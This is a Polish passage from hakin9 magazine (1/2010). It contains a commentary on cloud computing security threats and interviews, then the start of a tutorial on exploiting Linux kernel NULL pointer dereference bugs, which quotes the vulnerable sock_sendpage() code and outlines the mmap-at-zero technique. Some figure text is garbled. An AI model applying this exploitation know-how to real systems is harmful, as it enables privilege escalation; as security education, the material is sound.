pozwoli połączyć wszystko: terminale, słabe komputery i urządzenia o małej mocy obliczeniowej CLOUD COMPUTING złośliwe oprogramowanie, które wykorzysta podłączony do zaatakowanego komputera dysk online albo użyje dostępnej mocy obliczeniowej do łamania haseł. Podobne ataki były już wykorzystywana na szeroką skalę (m.in. do złamania haseł użytkowników eBay'a). Warto zauważyć również rosnące znaczenie telefonów komórkowych, dla których podłączenie do chmury obliczeniowej daje zupełnie nowe możliwości. Najlepszym przykładem są mobilne wersje przeglądarki Opera. W tym przypadku strona pobierana jest na serwer, następnie renderuje się ją z uwzględnieniem możliwości wyświetlacza klienta, kompresuje i dopiero taką wersję wysyła na ekran telefonu. Wszystkimi tymi operacjami zajmują się serwery Opery, a aplikacja zainstalowana w telefonie działa jedynie jako klient. Jeszcze dalej poszło Google. Ustalenie granicy między tym, co w systemie Android działa lokalnie, a w chmurze jest bardzo trudne. Dla kogo chmura? Niektórzy, w szczególności firmy i instytucje rządowe, nie mogą pozwolić sobie na korzystanie z cudzych chmur, więc tworzą własne. Chmura obliczeniowa jest w rzeczywistości siecią serwerów, której budowa dla użytkownika nie powinna mieć znaczenia. W związku z tym każda firma, która nie może powierzyć swoich danych zewnętrznym dostawcom usług ma szanse na zastosowanie cloud computingu, którego głównym celem jest przecież lepsze wykorzystanie zasobów i obniżenie kosztów. W systemach takich pojawia się problem z zapanowaniem nad serwerami czy dyskami sieciowymi – wszystko to jest przecież wirtualizowane. Pojawiło się już określenie server sprawl (rozrost serwerów), oznaczające gwałtowny wzrost liczby wirtualnych maszyn, którymi coraz trudniej jest zarządzać. Coraz mniejsze znaczenie ma też fizyczna ilość komputerów czy dysków – ważne jest to, co widzi użytkownik. Administratorzy często uświadamiają sobie kwestie związane z bezpieczeństwem dopiero po wdrożeniu wirtualizacji. Powszechną praktyką jest skupianie się na dostarczaniu serwerów, a dopiero później analizowanie, jak je zabezpieczyć – pisze Rafał Janus z virtualfocus.pl, jednego z najlepszych polskich serwisów zajmujących Rysunek 5. Przykładem zastosowania chmury obliczeniowej są pakiety biurowe dostępne online się wirtualizacją. Stworzenie bezpiecznego środowiska nie jest więc proste i wymaga wiedzy. Warto nadmienić, że wirtualizacja to nie tylko umieszczanie wielu serwerów na jednej fizycznej maszynie. Pojęcie to dotyczy również pamięci masowych (wirtualne dyski), komputerów biurkowych oraz aplikacji. Ataki przyszłości Potencjalnym niebezpieczeństwem mogą być próby podszycia się pod dostawcę usług. Obecnie często zdarzają się ataki phishingowe (podszywanie się pod banki i serwisy w celu przejęcia konta użytkownika) oraz fałszowanie wpisów w serwerach DNS. Atakujący wykorzystują pośrednią witrynę, która pobiera przekazane dane, zapisuje je i natychmiastowo przekierowuje do prawdziwego serwera. Podobny atak można by przeprowadzić w odniesieniu do cloud computingu. Główna idea to przechwycenie danych wysyłanych w chmurę. Można założyć, że są one wartościowe, bo płatny hosting online będzie używany do przechowywania stosunkowo ważnych plików. Najprostszym pomysłem, stosowanym początkowo w phishingu, byłoby stworzenie własnej usługi udającej np. Google Docs i zachęcenie Rysunek 6. W kwestii bezpieczeństwa usług wykorzystujących cloud computing na razie powinniśmy kierować się rekomendacjami, mówi Karel Oblug z AVG Technologies 1/2010 HAKIN9 29 ATAK internautów do skorzystania z niej. Wymaga to jednak własnej infrastruktury. Zamiast tego lepiej byłoby stworzyć tunel między użytkownikiem a chmurą Google i przechwytywać tylko interesujące dane. W tym przypadku nie wystarczy sama strona z formularzem logowania, ale konieczne jest utrzymanie stałego połączenia – dane są bowiem wymieniane stale, często asynchronicznie z użyciem AJAX-u, a więc bez odświeżania strony. Rozwiązaniem tego problemu (ze strony atakującego) mogłoby być przykładowo postawienie serwera proxy i modyfikacja przeglądarki ofiary tak, aby łączyła się za jego pośrednictwem. Jeśli transmisja jest szyfrowana (w przypadku Google Docs nie jest) należałoby dodatkowo zająć się jej złamaniem. Oczywiście jest to jedynie model, a na tej samej zasadzie można uruchomić znacznie bardziej złożone i trudniejsze do wykrycia tunele. Atak taki jest tylko pomysłem, a jego praktyczna realizacja może być skomplikowana, ale przechwycenie połączenia jest możliwe. Możemy spodziewać się, że w przyszłości pojawią się próby podszycia pod dostawcę usług przetwarzania w chmurze właśnie w ten sposób. Obecnie często spotykanym atakiem jest SQL injection, czyli wstrzyknięcie zapytania do bazy danych prosto od strony klienta. Jeśli serwer źle filtruje zapytania, zadane chociażby przez przeglądarkę, może okazać się, że użytkownik zmusi go do wykonania niebezpiecznych operacji. Błędy te dotyczą głównie unikatowych systemów robionych na konkretne zamówienie lub pisanych przez niedoświadczonych programistów. W przypadku dużych firm SQL injection rzadko ma miejsce. Podobny atak można by zastosować w przypadku usług działających w chmurach obliczeniowych. Analizując wysyłane i otrzymywane przez przeglądarkę komunikaty, atakujący może zlokalizować miejsca, w których da się dokleić dodatkowy kod. W przeciwieństwie do serwerów stron WWW, które dają co najwyżej dostęp do bazy danych, chmury obliczeniowe mogą zostać wykorzystane do wykonania niebezpiecznego kodu lub nawet umieszczenia go na stałe na serwerach. i całkowicie odizolowana od dostępu z zewnątrz. Pozwala to chronić uruchomioną aplikację przed próbami wyszukiwania dziur i zasadniczo czyni je bezpieczniejszymi. Z drugiej strony programy, które nigdy nie wychodzą poza serwery dostawcy usługi mogą posiadać wiele dziur, o których załatanie nikt nie będzie się specjalnie martwił. Jeśli w jakiś sposób udałoby się uzyskać dostęp do wnętrza systemu (np. poprzez przekupienie pracowników), atakujący mógłby liczyć na to, że znalezione przez niego dziury pozostaną niezauważone przez wiele miesięcy. Gdzie zaatakować? Działanie takie wymaga pracy, ale może być opłacalne. Obecnie małe firmy i osoby prywatne nie mogą pozwolić sobie na opiekę doświadczonych administratorów czy audyt bezpieczeństwa posiadanych urządzeń. Zwłaszcza zwykli użytkownicy nie przejmują się specjalnie bezpieczeństwem swoich danych, aplikacji i sprzętu. Duże firmy sprzedające swoje usługi i zasoby w ramach modelu SaaS przywiązują znacznie większą wagę do bezpieczeństwa. W dodatku będzie ona rosła wraz z rozwojem rynku i konkurencji. Trudność w dotarciu do atakowanego oprogramowania i wykryciu luk oraz niezbędne kwalifikacje doprowadzą do wzrostu cen exploitów oraz informacji o lukach dnia zerowego – ostrzegają eksperci. Atak na centrum danych czy chmury serwerów nie będzie już mógł być wykonany przez amatorów, którzy przypadkiem znaleźli w sieci odpowiednie programy (script kiddies), ale stanie się domeną grup, które będą w stanie zainwestować we własnych programistów, czy właśnie przekupienie pracowników atakowanej firmy w celu wyciągnięcia programu na zewnątrz. Większość osób mogłaby być z tego powodu zadowolona – skończą się ataki dla zabawy albo w celu pochwalenia się znajomym – ale przyszłość nie jest aż tak różowa. Same serwerownie są z oczywistych względów, chociażby opieki administratora, bezpieczniejsze niż typowy domowy czy biurowy pecet, ale groźne mogą okazać się aplikacje używane w cloud computingu. Kontrolę nad atakami na chmury obliczeniowe przejmie mafia Atak na jedną maszynę jest zawsze prostszy niż na całą ich sieć, ale w przypadku chmur obliczeniowych celem wcale nie musi być pojedynczy serwer. Na samodzielnych serwerach atak polega na znalezieniu świadczonych przez niego usług, zidentyfikowaniu oprogramowania, wykryciu jego słabych punktów i skorzystaniu z programów, które wykorzystują te dziury. To, czy oprogramowanie pisane jest samodzielnie czy ściągnięte z Internetu nie ma w tym przypadku znaczenia. Podobnie wygląda atak na tysiące zwykłych komputerów, ale pomijana jest sprawa wykrywania błędów w oprogramowaniu. Cyberprzestępcy zarażają możliwie dużą liczbę komputerów licząc na to, że w części z nich trafią się dziurawe aplikacje, które można wykorzystać. W przypadku chmury obliczeniowej sprawa wygląda zupełnie inaczej. Usługodawca dostarcza tylko interfejs aplikacji, a cała część obliczeniowa znajduje się na jego serwerach. Jeśli architektura oprogramowania jest dobrze opracowana, to część użytkowa aplikacji powinna Rysunek 7. Lokalizacja 38 centrów danych firmy Google. Źródło: wayfaring.com/ być bezpieczna 30 HAKIN9 1/2010 Żegnajcie, script kiddies! CLOUD COMPUTING lub rządu państw przygotowujących się do ceberwojny. Powrót do czasów grup ganianych hackerów byłby najlepszą możliwa perspektywą, bo nikt rozsądny nie powinien zakładać, że wraz z przeniesieniem większości usług w chmury znikną problemy z atakami na dane. Przeniosą się one po prostu na wyższy, niedostępny dla większości osób, poziom. Po drugiej stronie, poza bezpieczną chmurą, mamy miliony zwykłych użytkowników, którzy korzystają z tysięcy różnych wyszukiwarek na setkach systemów operacyjnych. Przenosząc swoje programy do Sieci prawie całkowicie zrzucają oni odpowiedzialność za swoje zasoby na administratorów i dostawców usług. W takiej sytuacji, wbrew logice, świadomość dotycząca kwestii bezpieczeństwa może się wśród nich zmniejszyć. Ciągłe korzystanie z usług udostępnianych za pośrednictwem Sieci, w tym ochrony antywirusowej, może doprowadzić do zaniku świadomości zagrożeń płynących z Internetu i większemu zaufaniu do programów uruchamianych po stronie serwera. Zmiany te nie będą jednak znaczące. Za ochronę takich użytkowników mogliby wziąć się producenci oprogramowania instalowanego na lokalnych maszynach – w przyszłości będą to głównie przeglądarki. Standardem powinna stać się na przykład praca każdej karty w osobnym procesie, tak jak ma to miejsce w Google Chrome. Z drugiej strony dostawcy usług mogą nie dopuszczać do Sieci niektórych użytkowników, korzystających z nieaktualnego i niebezpiecznego oprogramowania. Obecnie, aby uzyskać dostęp do części zasobów, zwłaszcza związanych z backupem danych, należy skorzystać z oprogramowania klienckiego dostarczonego przez dostawcę usługi. Naturalnym wydaje się, że nie wszyscy będą dopuszczali do swoich sieci stare i niebezpieczne przeglądarki lub nie wszystkie będą wspierane. Wskazuje na to aktualne podejście banków, które działają podobnie jak firmy związane z cloud computingiem. Powrót do korzeni Zmiany w nastawieniu do bezpieczeństwa mogą oznaczać powrót do początków hakingu. Kiedy pojawili się źli hakerzy, łamanie zabezpieczeń nie polegało na pobraniu z sieci gotowych skryptów albo kupnie magazynu, otwarciu go na dziale Atak i wykorzystaniu opisanych programów. Musiały one zostać wymyślone. Celem osób przełamujących zabezpieczenia był darmowy dostęp do telefonu, zasobów mainframe'u albo po prostu chęć udowodnienia innym, że system nie jest bezpieczny. Włamania nie były aktem wandalizmu, ale służyły konkretnym celom. Oczywiście, wielkie firmy były okradane, ale właściwie tylko one i konkurenci hakerów stawały się ofiarami. Później, wraz z upowszechnieniem się Internetu, przyszła pora na przestępców czyhających na nieświadomych internautów, którzy w dalszym ciągu dają się nabierać na próby wyłudzenia haseł, zostawiają domyślne hasła i instalują wszystko co tylko trafi im w ręce. Z drugiej strony łatwość z jaką można uzyskać narzędzia, ułatwiając włamania sprzyja wszystkim internetowym wandalom. Wykorzystanie ściągniętego z sieci exploita w celu zrobienia żartu koledze może być zabawne, ale ataki przeprowadzone przez osoby niemające pojęcia o tym, co robi pobrany z sieci program polegają zwykle na bezsensownym zniszczeniu cudzej bazy danych albo danych z serwera FTP. Jeśli cloud computing rozwinie się do poziomu, w którym korzystać będziemy głównie z przeglądarki, to możemy spodziewać się ponownej profesjonalizacji hakingu. Znikną nie tylko firmowe serwery WWW i FTP, ale też większość lokalnego oprogramowania, którego dziury są częstą przyczyną ataków na zwykłych użytkowników. Uzależnieni od dostawcy Problemem groźniejszym od nawet najlepszych hakerów może stać się nagły brak dostępu do Sieci. Użytkownicy indywidualni rzadko kiedy korzystają z komputera niepodłączonego do Internetu, a trend do ciągłego bycia online będzie się zwiększał. Jeśli większość usług, programów i danych przeniesiemy w dostępne tylko przez Internet chmury obliczeniowe, to odłączenie od Sieci może oznaczać katastrofę. W ciągu najbliższych kilku lat, dzięki lepszemu wykorzystaniu GSM-u i pojawieniu się WiMAX wzrośnie dostęp do bezprzewodowego Internetu, ale cały czas będą pojawiały się miejsca, w których znajdziemy się poza zasięgiem. Nawet jeśli cały świat zostanie pokryty sygnałem, to mogą zdarzyć się awarie, które odetną od Sieci setki osób. Ich komputery staną się w tej sytuacji praktycznie bezużyteczne. Bezpieczeństwo? Jeszcze nie teraz Bezpieczeństwo danych przechowywanych w chmurach ma, przynajmniej na razie, małe znaczenie dla klientów. Rozmowa z Karlem Oblukiem, dyrektorem ds.Technologii w AVG Technologies, przeprowadzona dla magazynu hakin9. Czy klienci ufają usługom w chmurach, czy preferują lokalne rozwiązania? Wydaje mi się, że wielu użytkowników, którzy przechowują swoje dane online nie do końca uświadamia sobie implikacje związane z kwestiami bezpieczeństwa. Ufają dostawcom tych usług, a ich największym zmartwieniem jest to, by czas potrzebny na załadowanie plików (backup) był jak najkrótszy. Wraz ze wzrastającą ilością funkcjonalności oferowanych przez usługodawców oraz stale zwiększającą się przepustowością łącz, rozwiązania tego typu mogą zyskiwać na popularności. Jak cloud computing zmieni podejście zwykłego użytkownika do kwestii bezpieczeństwa? Z uwagi na fakt, iż zabezpieczenie danych tego typu jest bardzo skomplikowane, większość użytkowników zaufa w tej kwestii dostawcom usług backupu, opierając się na rekomendacjach i recenzjach. Podsumowując, nie uważam, by chmury obliczeniowe miały spowodować diametralną zmianę w podejściu zwykłego użytkownika do kwestii bezpieczeństwa. W jaki sposób chronione są dane przechowywane w chmurach? Sposób, w jaki chronione są dane, w dużej mierze zależy od usługodawcy. Od prostego kodowania z kluczem, w posiadaniu którego jest dostawca usługi, po systemy bezpieczeństwa wykorzystujące złożone mechanizmy kodowania, a jedynym posiadaczem klucza jest sam użytkownik. 1/2010 HAKIN9 31 ATAK Inaczej wygląda sprawa firm, zwłaszcza klasycznych, nastawionych na produkcję. W ich przypadku dostęp do zewnętrznej sieci nie jest konieczny przez cały czas, a lokalne chmury obliczeniowe mogą działać samodzielnie. Zadania takie jak kontrola produkcji, logowanie wejść i wyjść pracowników czy obsługa wewnętrznej poczty i drukarek nie muszą wymagać dostępu do Internetu. Z drugiej strony zadania niemające bezpośredniego wpływu na produkcję (backup, zewnętrzny serwer poczty, hosting stron internetowych) mogą zostać przeniesione na zewnątrz. Posiadanie własnej chmury zapewni oczywiście większe bezpieczeństwo i konieczną niezależność od dostawców Internetu, ale ogranicza podstawową zaletę cloud computingu – skalowalność. W obydwu przypadkach mamy jednak do czynienia z uzależnieniem się od dostawcy Internetu. W Polsce mamy dostęp do kilku operatorów, co daje możliwość wyboru i marginalizuje ryzyko nieuczciwych operacji, ale nie wszędzie tak jest. W krajach, w których działa tylko jeden dostawca technologii GSM, może on dyktować ceny, gdyż wie, że klienci i tak zapłacą za dostęp do Sieci. Jeśli dodatkowo operator jest kontrolowany przez rząd, jak np. w Zjednoczonych Emiratach Arabskich, mogą pojawić się próby kontroli tego, co robią użytkownicy lub nawet odcięcia ich od Internetu, a w praktyce Chmura w oczach klienta O tym, jak przechowywanie i przetwarzanie informacji w chmurach obliczeniowych postrzegane jest przez klientów indywidualnych i biznesowych mówi Dorota Oviedo, analityk rynku ICT z firmy Frost & Sullivan (www.frost.com). Chmury obliczeniowe i dystrybucja oprogramowania w modelu SaaS to dziś nie tylko modne hasła sektora ICT, ale wyraźne trendy rynkowe. Najwięksi gracze inwestują obecnie w infrastruktury bazujące na chmurach obliczeniowych. Liderzy rynku telekomunikacji zunifikowanej i pracy grupowej również propagują SaaS, co widać na przykładzie Cisco i WebEx, IBM i LotusLive czy Microsoft i usług z rodziny BPOS. Ponadto popularność mediów społecznościowych i poczty elektronicznej typu Gmail wśród użytkowników indywidualnych wspomaga akceptację chmur. Co ciekawe, zainteresowanie tymi usługami wykazują zarówno małe firmy, jak i korporacje, które coraz chętniej oddają obowiązek administracji, zapewnienia dostępności i bezpieczeństwa rozwiązania w ręce dostawcy usług, co pozwala im skoncentrować się na rozwoju głównej działalności. Spowolnienie gospodarki światowej zdecydowanie napędza ten rynek usług. Obecnie firmy preferują rozwiązania oparte na wydatkach bieżących. Dla najmniejszych firm duże znaczenia ma również poziom zaawansowania współczesnych systemów komunikacji biznesowej i brak wykwalifikowanego personelu do zarządzania tymi systemami. W przypadku dużych firm elastyczność usług komunikacyjnych pozwala na wypróbowanie dostępnych narzędzi. Chociaż utrata kontroli i bezpieczeństwo są często wymieniane jako główne zagrożenie dla rozwoju rynku, reputacja dostawcy usług, umowy SLA (o standard usługi) oraz przykłady wdrożeń niwelują obawy potencjalnych klientów. W praktyce przeważają korzyści cenowe, szczególnie w przypadku sektora małych firm. Wirtualizacja Wirtualizacja polega na programowym lub sprzętowym oddzieleniu warstwy zasobów od aplikacji, które z nich korzystają. W ten sposób tworzy się abstrakcyjną warstwę, która przysłania dostępne zasoby. Popularnym rozwiązaniem jest instalowanie wirtualnych systemów operacyjnych. Tak zainstalowany system można zapisać i przenieść na inny komputer wyposażony w oprogramowanie do wirtualizacji. Zajmuje to tyle, ile potrzeba na skopiowanie plików do nowej lokalizacji. Na jednym fizycznym komputerze może znajdować się wiele wirtualnych systemów operacyjnych. Dzięki temu rozwiązaniu każdy z nich może pracować niezależnie i obsługiwać tylko jedną aplikację, co pozwala na ochronę np. systemu z serwerem poczty, jeśli zaatakowany zostanie system z serwerem FTP. Wirtualizacja pozwala na lepsze wykorzystanie zasobów – wiele mało obciążonych serwerów może znajdować się na jednej fizycznej maszynie, a jeśli któryś z nich zwiększy zapotrzebowanie na zasoby można go przenieść na inny komputer. Wirtualizowane mogą być również dyski twarde (zarówno poprzez łączenie w macierz RAID, jak i dzielenie fizycznych nośników), aplikacje czy procesory. 32 HAKIN9 1/2010 również komputerów. Znów dochodzimy do punktu, w którym musimy zaufać kolejnej firmie. Dla największych firm dostarczających usługi w modelu cloud computing znaczenie ma również fizyczna lokalizacja serwerowni. Jeśli usługi mają być świadczone na całym świecie, to opóźnienia związane z transferem danych do serwera, znajdującego się tysiące kilometrów od użytkownika, znacząco wpłyną na szybkość transmisji. W tym przypadku ważne jest rozmieszczenie serwerów w okolicach, z których łączy się najwięcej osób. Sprawa nie jest jednak tak prosta. Google podaje, że stworzenie jednego data center kosztuje ich około 600 milionów dolarów, a roczne utrzymanie wszystkich centrów danych to wydatek rzędu 3 miliardów dolarów. Duży wpływ na te wydatki ma lokalizacja data centers. Wybierane są takie miejsca, które zapewniają dostęp do taniej, a ostatnio także zielonej, energii. Ważny jest dostęp do rzek i jezior, których woda jest używana do chłodzenia serwerowni oraz otoczenie zapewniające prywatność i bezpieczeństwo. Pod uwagę brane są również podatki w danym kraju oraz odległość do już istniejących centrów danych. Dzięki takiej optymalizacji możemy uzyskać odpowiedź na najbardziej złożone zapytanie do wyszukiwarki po dziesiątych częściach sekundy, a w czasie wpisywania zapytania na bieżąco dostajemy podpowiedzi. Każde wciśnięcie klawisza zmusza do pracy kilkadziesiąt serwerów Google, znajdujących się w różnych częściach świata, a zużywana przez nie energia wystarcza podobno do zagotowania 100 ml (połowy szklanki) wody. Zapłacimy za bezpieczne chmury! Kadra kierownicza w dziedzinie IT oczekuje ochrony danych i aplikacji działających w chmurze. Twierdzi tak 89% badanych, co pokazują badania przeprowadzone w październiku 2009 roku przez Trend Micro, firmę dostarczającą rozwiązania zabezpieczenia infrastruktury udostępnianej przez Internet (security for-the-cloud). Niestety tylko 40% ankietowanych bierze pod uwagę wyłącznie bezpieczne rozwiązania. Dla pozostałych ważniejsza CLOUD COMPUTING jest skalowalność i obniżenie kosztów. Takie podejście może mieć związek z brakiem dostatecznej wiedzy na temat bezpieczeństwa – co martwi – lub z chłodną kalkulacją wykazującą, że ryzyko utraty danych rekompensuje potencjalne zyski. Z drugiej strony 61% pytanych nie jest jeszcze gotowych do przeniesienia infrastruktury w chmury, ale ma zamiar skorzystać z tej technologii kiedy będzie miała pewność, że jest ona bezpieczna. Dostawcy oprogramowania, służącego do tworzenia chmur obliczeniowych, powinni więc zwrócić szczególną uwagę na stworzenie bezpiecznych rozwiązań i sposobu ich certyfikacji, gdyż tego oczekują ich potencjalni klienci. Obecnie porównanie konkurencyjnych systemów jest trudne, a sami dostawcy podkreślają, że klienci bazują głównie na zaufaniu i poleceniach danej firmy. Uniwersalny system certyfikatów mógłby rozwiązać ten problem. Korzyści odnieśliby zarówno sami użytkownicy, którzy mieliby ułatwiony wybór, jak i uczciwe, pewne firmy. Dostawcy na celowniku Atak może dotyczyć usługodawcy, a nie tylko użytkowników cloud computing. Nietrudno wyobrazić sobie sytuację, w której użytkownicy, zwłaszcza prywatni, mogliby próbować uzyskać większą ilość zasobów niż jest dla nich przeznaczone. Warto więc zwrócić uwagę na bezpieczeństwo samych serwerowni i działających na nich aplikacji. Podstawowe niebezpieczeństwa są takie jak w przypadku innych usług tego typu (fizyczne uszkodzenia, błędy pracowników), więc doświadczeni administratorzy powinni sobie z nimi poradzić. Dochodzą do tego ataki z zewnątrz (np. DDoS) i próby uruchomienia niezaufanego kodu przez użytkowników. Niezaprzeczalną zaletą chmury obliczeniowej, również pod względem bezpieczeństwa, jest jej rozproszenie. Ataki Dos i DDoS, polegających na zalaniu serwera falą zapytań i wyczerpania zasobów, grożą większości scentralizowanych usług. Obrona przed tysiącami fałszywych zapytań to w gruncie rzeczy filtrowanie ich przez serwer. W przypadku chmury obliczeniowej obciążenie dzielone jest na wiele maszyn, a ryzyko wyczerpania zasobów pojedynczego komputera spada. W chmurze ułatwiona jest również fizyczna ochrona danych. W profesjonalnych rozwiązaniach dane przechowywane są w wielu serwerowniach, aby zapewnić szybki dostęp z każdego miejsca na świecie. Serwery są więc fizycznie oddalone od siebie, co chroni przed pożarem w serwerowni, awarią pojedynczej maszyny czy pomyłkami pracowników. W przypadku firm dostarczających usługi w modelu cloud computing duże znaczenie ma wirtualizacja. Nikogo nie trzeba przekonywać o tym, że fizyczne serwery są wykorzystywane w większym stopniu, jeśli umieści się na nich wiele maszyn wirtualnych. Tak jak w innych przedsiębiorstwach, również w firmach wykorzystujących chmurę, pozwala to redukować koszty i zwiększyć wykorzystanie serwerów, ale nie tylko. Odchodzimy od modelu, w którym na serwerze było kilka różnych aplikacji, a przechodzimy do rozwiązania, w którym na jednym wirtualnym serwerze jest jedna aplikacja. W konsekwencji liczba maszyn wirtualnych drastycznie rośnie, wzrasta liczba wirtualnych aplikacji, a tym wszystkim trzeba jakoś zarządzać – mówił Rafał Kwaśny z firmy Novell, podczas debaty przeprowadzonej przez serwis VirtualFocus. Rozproszenie aplikacji na samodzielne maszyny wirtualne pozwala chronić wszystkich klientów przed atakiem na pojedyncze aplikacje. W systemach niewykorzystujących wirtualizacji lub łączących wiele usług na jednej maszynie wirtualnej istnieje ryzyko przejęcia kontroli nad chronionymi aplikacjami i danymi poprzez atak na mniej bezpieczne rozwiązania działające na tej samej maszynie. Układ jeden system – jedna aplikacja znacząco zmniejsza to ryzyko. Jeśli atakujący przejmie kontrolę nad niezabezpieczonym programem, to w najlepszym przypadku dostanie się tylko do zwirtualizowanego systemu, na którym nie ma żadnych znaczących danych. Podsumowanie Chmura obliczeniowa jest pojęciem na tyle abstrakcyjnym, że problemem może być prawna regulacja tego typu usług. Już teraz giganci Internetu muszą brać pod uwagę, że nie wszędzie mogą oferować swoje usługi. Niektóre kraje nie pozwalają na stosowanie narzędzi kryptograficznych przez użytkowników cywilnych, w innych mocno ograniczony jest dostęp do materiałów o treściach erotycznych lub możliwości przechowywania danych osobowych. Część firm dostosowuje się do międzynarodowych i lokalnych regulacji – np. w YouTube nie obejrzymy filmów, których nie dopuszcza prawo danego kraju. Wraz z rozwojem cloud computingu pojawią się nowe problemy. Czy dokument przetwarzany na niemieckim serwerze, ale przez użytkownika z Polski podlega polskiemu prawu czy niemieckiemu? A co, jeśli wykorzystywanych jest jednocześnie kilkadziesiąt serwerów znajdujących się w centrach danych w różnych krajach? A jeżeli system operacyjny użytkownika jest wirtualizowany? Jeśli taki użytkownik popełni przestępstwo, to stwierdzenie, który z serwerów znajdujących się w chmurze wykonał nielegalne operacje jest niemożliwy. Nawet jeśli część krajów będzie regulować takie sytuacje, to z pewnością nie dotyczy to wszystkich państw. W dodatku prawa te mogą być sprzeczne. Specjaliści z firm dostarczających rozwiązania do cloud computingu nie przewidują drastycznych zmian w podejściu zwykłych użytkowników do spraw bezpieczeństwa. Jednak przeniesienie większości oprogramowania w dobrze chronione chmury obliczeniowe, będące w rzeczywistości profesjonalnie obsługiwanymi serwerowniami, pozwoli zmniejszyć ryzyko ataku na domowe komputery czy serwery w małych firmach. Powód jest prosty – znajdzie się tam tak mała ilość oprogramowania, że cały obowiązek ochrony spadnie na dostawców usług. Wybór klienta ograniczy się tylko do wyboru zaufanej firmy dostarczającej usługę. Zły wybór okaże się tragiczny w skutkach, bo ilość danych przekazanych w chmurę będzie stale rosła. Marcin Kosedowski Dziennikarz publikujący m.in. w magazynach Internet Maker i PC World. Interesuje się anonimowością, spamem i kryptografią. Obecnie kończy studia na wydziale Elektroniki i Telekomunikacji Politechniki Wrocławskiej. Kontakt z autorem: [email protected]. 1/2010 HAKIN9 33 ATAK Błędy typu NULL Pointer Dereference DAMIAN OSIENICKI Stopień trudności Nieostrożne operacje na wskaźnikach są źródłem wielu błędów które mogą posłużyć do eskalacji przywilejów lub ataków DoS. Artykuł opisuje model zarządzania pamięcią wirtualną procesu oraz sposób wykorzystania błędów dereferencji wskaźnika, w systemach linuksowych, na platformie 32-bitowej. N ull pointer dereference jest kolejnym typem błędów, jakie może popełnić osoba pisząca kod w języku C. Już w 1994 roku opublikowany został exploit, wykorzystujący taką podatność w bibliotecznej funkcji pt _ chmod(). W ciągu ostatnich kilku miesięcy, ilość znalezionych bugów dereferencji wskaźnika znacznie się zwiększyła. Większość z nich znajdowała się w jądrze Linuksa. Artykuł ten ma na celu przedstawić Czytelnikowi sposób wykorzystania błędu typu Null Pointer Dereference w podatnym kernelu, lecz aby w pełni zrozumieć opisywaną technikę, musimy wiedzieć jak działa pamięć wirtualna procesu, co się w niej znajduje, oraz jak możemy nią manipulować. Anatomia procesu w pamięci Z ARTYKUŁU DOWIESZ SIĘ jak działa pamięć wirtualna procesu w systemach linuksowych, jak wykorzystać błąd Null Pointer Dereference w podatnym jądrze. CO POWINIENEŚ WIEDZIEĆ wskazana jest praktyczna znajomość języka C oraz Asembler, ogólna znajomość systemu Linux. 34 HAKIN9 1/2010 Systemy uniksowe, wykorzystują płaski model pamięci (ang. flat model). Cały trik polega na tym, że dzięki temu zastosowaniu, możemy odwołać się do każdego bajtu pamięci, poprzez adres z puli od 0x00000000 do 0xffffffff. Uwarunkowane to jest pojemnością rejestrów jakie posiada procesor. Każdy z nich ma 32 bity -> 4 bajty (oprócz rejestrów segmentowych, które posiadają 16 bitów), co daje nam 4 GB (0xffffffff) pamięci, dostępnej poprzez adres. Wszystkie uruchomione programy posiadają własne wirtualne bloki pamięci, dzięki czemu proces nie może wyjść poza przydzielony mu obszar. Jeśli chcemy odwołać się pod jakiś adres, to musi on być przedtem zamapowany. Oznacza to tyle, że obszar pamięci, pod który chcemy się odwołać, musi w rzeczywistości wskazywać w konkretne miejsce pamięci fizycznej. Mechanizm translacji adresów wirtualnych na fizyczne nazywa się stronicowaniem (patrz Ramka). Jeśli proces odwoła się do regionu pamięci, który nie jest mapowany, to jądro wyśle do niego sygnał SIGSEGV, po czym go unicestwi. Pamięć programu podzielona jest na kilka segmentów. Najważniejsze z nich zostały przedstawione na Rysunku 1. Przykładowo, segmenty text i data oraz dynamiczne biblioteki są tworzone dzięki systemowej funkcji mmap( ). Jej działanie opiera się na mapowaniu pewnego regionu pamięci oraz opcjonalnie, na wypełnieniu go zawartością pliku. Dla sterty i segmentu bss, jądro wykorzystuje wywołanie brk(), a dla stosu, swoją wewnętrzną funkcję: setup _ arg _ pages( ). Lord of the ring0 Jeśli adresy wirtualne są uruchomione, to odnoszą się nie tylko do całego oprogramowania działającego w systemie, ale także do jądra Linuksa. W zasadzie, pamięć procesu jest podzielona na dostępną dla aplikacji oraz tę dla kernela. Kernel ma zarezerwowany 1 GB pamięci BŁĘDY TYPU NULL POINTER DEREFERENCE dla siebie oraz tak jak w przypadku procesu, nie wykorzystuje jej całej. W Linuksie, przestrzeń jądra jest mapowana i dostępna pod tym samym wirtualnym adresem we wszystkich programach, aby cały czas być gotowym do uchwycenia przerwań lub wywołań systemowych. Ten 1 GB przeznaczonego miejsca dla jądra, jest mapowany w tablicy stron jako specjalnie uprzywilejowany (ring 0). Wszelkie bezpośrednie odwołania do niego, kończą się zabiciem procesu. Procesor w czasie wykonywania kodu aplikacji użytkownika, pracuje z uprawnieniami ring3 (najmniej uprzywilejowany). Dopiero gdy proces wykona któryś z syscalli, jego uprawnienia zmieniają się na ring0. Nie ma znaczenia czy jesteś zalogowany jako root, guest, lub nobody, ponieważ uprawnienia te, dotyczą tylko procesora. Listing 1. Kod funkcji sock_sendpage() static ssize_t sock_sendpage(struct file *file, struct page *page, int offset, size_t size, loff_t *ppos, int more) { struct socket *sock; int flags; sock = file->private_data; flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT; if (more) flags |= MSG_MORE; return sock->ops->sendpage(sock, page, offset, size, flags); } ���������� ������������ ������������������������������������������� ���������� ������������ ����������������������� ��������������������������������������������������� Studium przypadku Wskaźniki w języku C to zmienne, które przechowują adresy. Najczęściej używa się ich, aby wskazywały na struktury, ciągi znaków lub funkcje. Ogólnie przyjęto, że jeśli w funkcji, która miała zwrócić adres do regionu pamięci, wystąpił błąd, to zwraca ona NULL. Jednak nie zawsze sprawdza się tę wartość, co skutkuje błędem SIGSEGV, ponieważ NULL to po prostu odwołanie do adresu 0x0. Technika dereferencji wskaźnika opiera się na wcześniejszym mapowaniu tego regionu pamięci poprzez funkcję mmap() oraz podstawieniu fałszywych danych, które zostaną użyte jako prawidłowe. Jednak funkcja mmap() ma pewne ograniczenia. W systemie Linux nie można mapować pamięci innego procesu. Tak więc błędy tego typu w zwykłych aplikacjach nic nam nie dadzą oprócz ataku DoS. Inną sprawą jest znalezienie takiej podatności w jądrze. Tak jak omawiane to było wcześniej, kod jądra znajduje się w każdym procesie i nie jest ograniczony do operacji, tylko na swoim kawałku pamięci. 